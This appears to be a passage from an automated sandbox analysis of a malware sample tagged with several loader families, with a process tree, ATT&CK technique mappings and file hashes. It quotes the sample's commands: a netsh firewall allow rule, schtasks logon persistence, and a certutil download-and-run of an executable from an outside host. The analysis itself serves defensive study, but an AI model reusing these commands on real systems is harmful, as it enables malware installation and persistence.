Token: SeDebugPrivilege	1156	csrss.exe
Token: SeImpersonatePrivilege	1156	csrss.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 2124	4396	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe	92
PID 2124 wrote to memory of 3272	2124	cmd.exe	94
PID 4396 wrote to memory of 2976	4396	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe	95
PID 2976 wrote to memory of 1752	2976	csrss.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904
- C:\Users\Admin\AppData\Local\Temp\2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe"
  2⤵
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3272
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Executes dropped EXE
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Modifies trusted root certificate store through registry
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2524
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4760
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      PID:3768
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1752
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 584
    3⤵
    - Program crash
    PID:548
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 852
  2⤵
  - Program crash
  PID:4860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2904 -ip 2904
1⤵
PID:3712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4396 -ip 4396
1⤵
PID:2564

C:\Windows\rss\csrss.exe
"C:\Windows\rss\csrss.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3496
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2544
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2544 -s 804
    3⤵
    - Program crash
    PID:2496
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 820
  2⤵
  - Program crash
  PID:1088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3496 -ip 3496
1⤵
PID:3940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2544 -ip 2544
1⤵
PID:1700

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1156
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1124
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 796
    3⤵
    - Program crash
    PID:752
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1156 -s 820
  2⤵
  - Program crash
  PID:2420

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1156 -ip 1156
1⤵
PID:2452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1124 -ip 1124
1⤵
PID:2876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

patch.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Size 1.7MB
SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
MD5 13aaafe14eb60d6a718230e82c671d57
SHA1 e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA512 ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
SSDEEP 24576:fKln2MFUEdpHVzXKWHoBpHEjVweSRHYU/L38dsh0Dt/oPf2Du4y:fKln/RpHNdInHdUU/z0Vl
TLSH
T16C857C8663B802A8ED7B923CC962891BD7F238411331C7DF26A0466E2F53FE55A3D351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 4.6MB
SHA256 3272bda1657dbe7f9891a0585572d576128d6cb4252203025ae5854a63410cf8
MD5 0cd5dafc6af27bf71e9c48194a824c96
SHA1 b70cee2c98cae22f5906445bc141232b0b614648
SHA512 541360cb2fa253c7cf37c751e81f0cbd00463ce0261e4b0bfe76d5482aa32662c85f81878bc63470a60e745832e5e3d0e6cadc8b80a51ba479913671130bf055
SSDEEP 98304:J3vwUxRsr08h3a+onzpgFc/RS2C0+WMgpN5:UrLozKq/RY0dNpN5
TLSH
T190263320768DD035C3876872CDE0CB990F98B5C779B2A88F3E86859A1FFB590A315F45
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1124-32-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/1156-31-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2544-22-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2904-0-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2904-3-0x00000000051B0000-0x00000000058A6000-memory.dmp

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memory/2904-7-0x00000000051B0000-0x00000000058A6000-memory.dmp

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memory/2904-6-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2904-2-0x0000000004E00000-0x00000000051B0000-memory.dmp

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memory/2976-39-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-38-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-33-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-34-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-35-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-36-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-37-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-45-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-44-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-40-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-41-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-42-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/2976-43-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/3496-21-0x0000000000400000-0x0000000004982000-memory.dmp

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memory/4396-14-0x0000000000400000-0x0000000004982000-memory.dmp

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